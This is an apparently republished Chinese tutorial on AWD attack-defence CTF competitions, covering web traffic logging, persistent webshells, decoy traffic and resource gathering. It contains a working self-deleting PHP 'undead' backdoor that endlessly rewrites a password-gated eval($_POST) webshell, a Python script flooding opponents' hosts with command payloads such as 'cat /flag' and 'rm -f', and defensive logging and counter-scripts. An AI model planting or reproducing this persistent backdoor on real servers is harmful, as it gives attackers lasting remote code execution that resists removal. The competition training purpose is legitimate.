p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

这篇具有很好参考价值的文章主要介绍了p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

数据来源

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

注意:一下写的东西是在p80 红蓝对抗-AWD 模式&准备&攻防&监控&批量这篇文章的基础上进行的

演示案例:

  • 防守-流量监控-实时获取访问数据包流量
  • 攻击-权限维持-不死脚本后门生成及查杀其他-恶意操作-搅屎棍发包回首掏共权限
  • 准备-漏洞资源-漏洞资料库及脚本工具库

前提:开启awd项目,并在真实机使用Xshll 7连接虚拟机与 awd靶机的终端,上一篇文章有详细的介绍。

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

案例 1 - 防守-流量监控-实时获取访问数据包流量

利用 WEB 访问监控配合文件监控能实现 WEB 攻击分析及后门清除操作,确保写入后门操作失效, 也能确保分析到无后门攻击漏洞的数据包便于后期利用

实现 WEB 访问监控,文件监控在上一篇文章

1)先上传监听脚本文件到靶机的app目录下,并挂载在后门文件footer.php中

log-record.php  (文章最后的链接可以直接下载,文件位置:AWD红蓝对抗资料工具-小迪安全\AWD_Hunter-master\script\php)

<?php
date_default_timezone_set("Asia/Shanghai");

if (!function_exists('getallheaders')) {
    function getallheaders() {
    $headers = [];
    foreach ($_SERVER as $name => $value) {
        if (substr($name, 0, 5) == 'HTTP_') {
            $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
        }
    }
        return $headers;
    }
    
}


function WAF_log() {
global $WAF_query, $WAF_headers, $WAF_post, $WAF_log;
$tmp  = "[" . date('y-m-d H:i:s') . "]\n";
$tmp .= "SRC IP: " . $_SERVER["REMOTE_ADDR"]."\n";
$tmp .= $_SERVER['REQUEST_METHOD'].''.'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]."\n";

foreach($WAF_headers as $k => $v) {
if($k=='Accept-Encoding'||$k=='Accept-Language'||$k=='Accept'||$k=='User-Agent'||$k=='Referer'||$k=='Cookie'||$k=='X-Forwarded-For')
$tmp .= $k . ': ' . $v . "\n";
}
if (!empty($WAF_post)) {
$tmp .= "\n". $WAF_post . "\n";
}
$tmp .= "\n";
@file_put_contents($WAF_log."log_".date("H",time()), $tmp, FILE_APPEND);
}

$WAF_query = $_SERVER['QUERY_STRING'];
$WAF_headers = getallheaders();
$WAF_post = @file_get_contents('php://input');
$WAF_log = '/tmp/';
$WAF_AD_log = '';

WAF_log();
?>

代码解析:

简单理解就是这个脚本会监听网站的行为生成日志文件log_?到当前目录下的 tmp文件夹内

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

挂载文件

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

2)检验脚本效果

1、在靶机的终端输入:

        cd tmp                    # 切换到tmp目录下

        ls                            # 查看当前目录的内容,找到生成的日志文件log_?  我这里是log_18

        tail -f log_18          # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止(就是监听log_18日志文件的实时变化)

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

2、在真实机打开靶机的网站,虚拟机ip:8801  team1    8802  team1     8803  team3(我的脚本是上传team1中所以这里用8801连接)

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

回到终端查看日志

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

3、WEB 访问监控的作用

  1. 分析有后门或无后门的攻击行为数据包找到漏洞进行修复
  2. 分析到成功攻击的数据包进行自我利用,用来攻击其他队伍

案例 2 - 攻击-权限维持- 不死脚本后门生成及查杀

在攻击利用后门获取 Flag 时,不死后门的权限维持尤为重要,同样防守方也要掌握对其不死后门的 查杀和利用,这样才能获取更高的分数,对比文件监控前后问题(文件监控越早开启越好,在文件监控开启后不死马是不能生效的,反之一样)

1)上传不死马

不死马.php

<?php 
ignore_user_abort(true);          // ignore_user_abort 设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行
set_time_limit(0);                     // set_time_limit设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,如果设置为零,没有时间方面的限制。

unlink(__FILE__);                     // unlink() 删除函数的方法,__FILE__代表当前文件自己,删除自己防止被查杀
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="588b0909be46df2e992915a156a4e848"){@eval($_POST[a]);} ?>';  // 定义后面代码
while (1){                                // 设置无限循环
    file_put_contents($file,$code);       // file_put_contents()函数可以将一个字符串写入文件,写入后门代码
    usleep(5000);                        // usleep()函数是把调用该函数的线程挂起一段时间(就是暂停执行一段时间),单位是微秒(百万分之一秒)
}
?>
p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

2)改一下不死马的名称与木马生成文件的名称,让人不易发现

文件名改成xd.php , 生成的文件改成 x.php

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

3)使用不死马

1. 首先访问xd.php文件让他生成不死马(x.php),生成x.php文件后我们原来的xd.php文件就会自动被删除掉(unlink(__FILE__);   // 这句代码做的)

http://192.168.1.13:8801/xd.php

2. 回到Xftp 7 查看

无论是在Xftp 7中还是虚拟机中删除都是删除不掉的

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

4)克制不死马

1.ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

2.重启php等web服务

3.用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

4.创建一个和不死马生成的马一样名字的文件夹。

这里演示使用脚本的方法,创建一个fuck_x.php文件写入以下代码上传到靶机

<?php 
ignore_user_abort(true);        
set_time_limit(0);                   

unlink(__FILE__);                  
$file = 'x.php';         // 注意这里的文件名要与不死马的一样
$code = '干掉不死马,随便写,不写也可以';
while (1){                             
    file_put_contents($file,$code);      
    usleep(1000);                        // 不死马这里是5000微秒,我们就1000这样生成文件的速度就比他快,就能一直替换掉他
}
?>

运行我们的克制文件 

http://192.168.1.13:8801/fuck_x.php

查看x.php文件 

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

案例 3 - 其他-恶意操作-搅屎棍发包回首掏共权限

作为各种技术大家都要用的情况下,一个好的攻击漏洞和思路不被捕获和发现,一个好的套路浪费
对手的时间,搅屎棍发包回首掏共权限利用思路可以尝试使用

搅屎棍:目的就是浪费对手时间,我们发的包访问的文件很多不存在对方甚至会怀疑你把文件隐藏起来了又是各种找。

回首掏:配合抓到的真实攻击数据包,利用数据包占用其他人的攻击行为。利用后门去连接其他团队尝试。

1)写脚本(无限发包)

awd_jiaosigun.py
import requests                   # requests这包是用来发送网络请求的
import time                       # 时间模块

def scan_attack():
    shell_file = {'index.php','about.php','services.php','contact.php'}         # 我发现如果目标不存在这个文件,日志是不会记录的,所以这里我写目标靶机的url页面路径
    payload = {'cat /flag','ls -al','rm -f','echo 1'}                           # 随便写几个命令,等下用来发送请求误导防御者
    while 1:                         # 设置无限循环不停的发包
        for i in range(8801, 8804):  # range(num1,num2) 生成数字序列,不包含num2,8801代表第一个靶机  8802 第二个,我这里就开了3个靶机,就是8801-8803
            for ii in shell_file:
                url = f'http://192.168.1.13:{i}/{ii}'   # 拼接文件访问地址,ii就是遍历出来的文件名,这个文件不需要真实存在只是用来误导防御者的
                for iii in payload:  # 这里循环payload内的系统命令
                    data = {
                        'cmd': iii  # 一般一句话马都是会有一个形参接收传入的命令,这里的cmd也是随便写的
                    }
                    try:  # 设置无限循环
                        requests.post(url, data = data)  # 利用requests模块发送post请求
                        print(url)
                        # print("正在搅屎:" + str(i) + '|' + ii + '|' + iii)
                        time.sleep(0.5)  # 暂停0.5s让程序不要跑太快
                    except Exception as e:
                        print(e)
                        pass

if __name__ == '__main__':
    scan_attack()

2)开启流量监听(跟上面讲的步骤一样)

        cd tmp                   # 切换到tmp目录下

        ls                            # 查看当前目录的内容,找到生成的日志文件log_?  我这里是log_18

        tail -f log_22         # 需要注意的是log_? 最后这里数字是会变的

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

3)运行代码,然后查看日志

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库

p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库文章来源地址https://www.toymoban.com/news/detail-401902.html

案例 4-准备-漏洞资源-漏洞资料库及脚本工具库

比赛准备:如何收集并整理好漏洞,文档资料,脚本工具等
漏洞库: exploitdb github 监控最新信息,平常自己收集整理
文档资料:零组类似文档离线版爬虫,各类资料,平常自己收集整理
脚本工具:忍者系统配合自己常用工具, github 监控 awd 脚本,收集整理
忍者安全渗透系统(NINJITSU OS V3)的安装详细过程,亲测新旧vm版本都可安装,附带下载来源_黑色地带(崛起)的博客-CSDN博客

涉及资源:

https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ 提取码:
xiao

到了这里,关于p81 红蓝对抗-AWD 监控&不死马&垃圾包&资源库的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 红蓝对抗-最全信息收集工具

    项目简介 项目地址 项目名称 reconFTW 集成了30个工具的信息收集利器 https://github.com/six2dez/reconftw reconftw 资产无限巡航扫描系统 https://github.com/awake1t/linglong linglong SRC子域名资产监控 https://github.com/LangziFun/LangSrcCurise LangSrcCurise 快速侦察与目标关联的互联网资产,构建基础资产信

    2024年02月08日
    浏览(49)
  • 【红蓝攻防鸿篇巨著】ATT&CK视角下的红蓝对抗实战指南

    【文末送书】今天推荐一本网安领域优质书籍《ATTCK视角下的红蓝对抗实战指南》,本文将从其亮点与内容出发,详细阐发其对于网安从业人员的重要性与益处。 根据中国互联网络信息中心(CNNIC)发布的第51次《中国互联网络发展状况统计报告》,截至2022年12月,我国网民规

    2024年02月07日
    浏览(46)
  • 大数据平台红蓝对抗 - 磨利刃,淬精兵!

    目前大促备战常见备战工作:专项压测(全链路压测、内部压测)、灾备演练、降级演练、限流、巡检(监控、应用健康度)、混沌演练(红蓝对抗),如下图所示。随着平台业务越来越复杂,红蓝对抗的作用愈来愈明显,下面将详细介绍大数据平台在本次双十一大促备战工

    2024年02月05日
    浏览(38)
  • 《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网

      目录 一.TCP/UDP协议探测出网 1.NC工具探测TCP协议出网 2.Telnet命令探测TCP协议出网 3.UDP协议探测出网 当红队人员在进行内网渗透时,经常会遇到目标主机不出网的场景,而主机不出网的原因有很多,常见的原因例如目标主机未设置网关,被防火墙或者其他防护设备拦截设置了

    2024年02月08日
    浏览(45)
  • Qt/C++编写视频监控系统81-Onvif报警抓图和录像并回放

    视频监控系统中的图文警情模块,是通过Onvif协议的事件订阅拿到的,通过事件订阅后,设备的各种报警事件比如入侵报警/遮挡报警/越界报警/开关量报警等,触发后都会主动往订阅者发送,而且一般都是会发送两次,一次报警开始,一次报警结束,每一种事件都对应有文字

    2024年02月10日
    浏览(48)
  • 厨余垃圾处理设备工业监控PLC连接APP小程序智能软硬件开发之功能原理篇

    所有的软硬件系统全是自己一人独自开发,看法和角度难免有局限性。希望抛砖引玉,将该智能软硬件系统分享给更多有类似需求的朋友。 一、一套智能软硬件系统的目的在于用技术来解决生产中遇到的实际问题,首要的元素便是数据的准确性。 数据准确性,这里指的是通

    2024年04月14日
    浏览(47)
  • 【网安必读】CTF/AWD实战速胜指南《AWD特训营》

    【文末送书】今天推荐一本网安领域优质书籍《AWD特训营》,本文将从其内容与优势出发,详细阐发其对于网安从业人员的重要性与益处。 本书适用于以下读者: 随着网络安全问题日益凸显,国家对网络安全人才的需求持续增长,随着知识的指数式增长及政策扶持,安全行

    2024年02月06日
    浏览(50)
  • CTF/AWD竞赛标准参考书+实战指南:《AWD特训营》

    随着网络安全问题日益凸显,国家对网络安全人才的需求持续增长,其中,网络安全竞赛在国家以及企业的人才培养和选拔中扮演着至关重要的角色。 在数字化时代,企业为了应对日益增长的攻击威胁,一般都在大量部署安全产品、安全设备,忙于查看各种安全设备、安全运

    2024年02月08日
    浏览(49)
  • 红蓝攻防基础-认识红蓝紫,初步学习网络安全属于那个队?

    红队,也叫蓝军是指网络实战攻防演练中的攻击一方,以发现系统薄弱环节、提升系统安全性为目标,一般会针对目标单位的从业人员以及目标系统所在网络内的软件、硬件设备执行多角度、全方位、对抗性的混合式模拟攻击,通过技术手段实现系统提权、控制业务、获取数

    2024年02月13日
    浏览(51)
  • AWD攻防技巧(水文)

    1.数据备份 比赛开始第一时间备份,备份网站目录及数据库,一般在 /var/www/html 目录。 一是为了dump下来,用D盾查杀存在的后门;安装sublime全文搜索 二是为了比赛出现异常或恶意破坏进行还原,避免靶机宕机被扣分; 三要审计下有没有高危命令执行函数,进行后期加

    2024年02月02日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包